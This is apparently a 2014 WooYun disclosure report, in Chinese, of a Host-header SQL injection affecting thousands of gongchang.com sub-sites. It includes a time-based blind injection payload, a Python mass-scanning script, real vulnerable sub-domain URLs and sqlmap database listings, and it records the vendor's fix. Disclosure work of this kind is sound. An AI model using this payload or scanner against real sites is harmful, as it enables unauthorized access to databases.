当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-078859

漏洞标题：世界工厂网1W+用户站点存在SQL注入漏洞

相关厂商：世界工厂网

漏洞作者： 海绵宝宝

提交时间：2014-10-10 17:27

修复时间：2014-10-17 11:08

公开时间：2014-10-17 11:08

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：9

漏洞状态：厂商已经修复

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-10-10： 细节已通知厂商并且等待厂商处理中
2014-10-10： 厂商已经确认，细节仅向厂商公开
2014-10-17： 厂商已经修复漏洞并主动公开，细节向公众公开

简要描述：

世界工厂网1W+的分站，存在同一处sql注入.
分站采用的是相同的CMS，所以数据量才会比较大.

详细说明：

0x0
注入点存在于host头.
访问时，用Tamper Data拦截，修改host头,测试语句

if(now()=sysdate(),sleep(9),0)/*'XOR(if(now()=sysdate(),sleep(9),0))OR'"XOR(if(now()=sysdate(),sleep(9),0))OR"*/ =>


1.png


2.png


可以判断存在注入.
0x1
提取存在该漏洞的分站.
使用工具找出了1.2W+的分站url，初学python，就写了个python脚本，判断哪些网站存在该漏洞.
部分存在漏洞的url供于测试

http://000572.cn.gongchang.com
http://000700.cn.gongchang.com
http://000835.cn.gongchang.com
http://007suv.cn.gongchang.com
http://020seahog.cn.gongchang.com
http://020zfc.cn.gongchang.com
http://021gchjx.cn.gongchang.com
http://023web.cn.gongchang.com
http://0242s.cn.gongchang.com


Python代码

import urllib2 
import datetime
import linecache
i=1
while i<=12820:   #可以自定义从任意行数开始测试
	url=linecache.getline(r'D:\\1.txt',i)   #保存分站url的文件位置
	i=i+1
	print url
	request = urllib2.Request(url)  
	request.add_header('Host',"""if(now()=sysdate(),sleep(3),0)/*'XOR(if(now()=sysdate(),sleep(3),0))OR'"XOR(if(now()=sysdate(),sleep(3),0))OR"*/ => 
	""")             #测试使用的poc
	try:
		time1=datetime.datetime.now()
		response = urllib2.urlopen(request)	
	except urllib2.HTTPError,e:
		time2=datetime.datetime.now()	
		time3=(time2-time1).seconds
		if time3>=3:        #判断测试语句是否成功sleep3秒
			print 'ok'      #存在
			d=open('D:\\2.txt','a+')  #保存存在漏洞的url位置
			d.write(url)
				
		else:
			print 'no'


由于测试语句问题，可能会存在误报.
由于url太多，没有全部测试，在1.2W的url中测试了前2000个url，存在漏洞有1990个左右，因此判断在1.2W个url中，大约有1W+都存在该漏洞.

漏洞证明：

0x3
用sqlmap跑

3.png


available databases [23]:
[*] caijicompany
[*] caijiproductinfo
[*] catesearch
[*] cms
[*] empirecms
马赛克
[*] search
[*] test

修复方案：

host头也要做防范吧

版权声明：转载请注明来源 海绵宝宝@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：5

确认时间：2014-10-10 17:34

厂商回复：

感谢反馈，我们将积极排查并修复

最新状态：

2014-10-17：漏洞已修复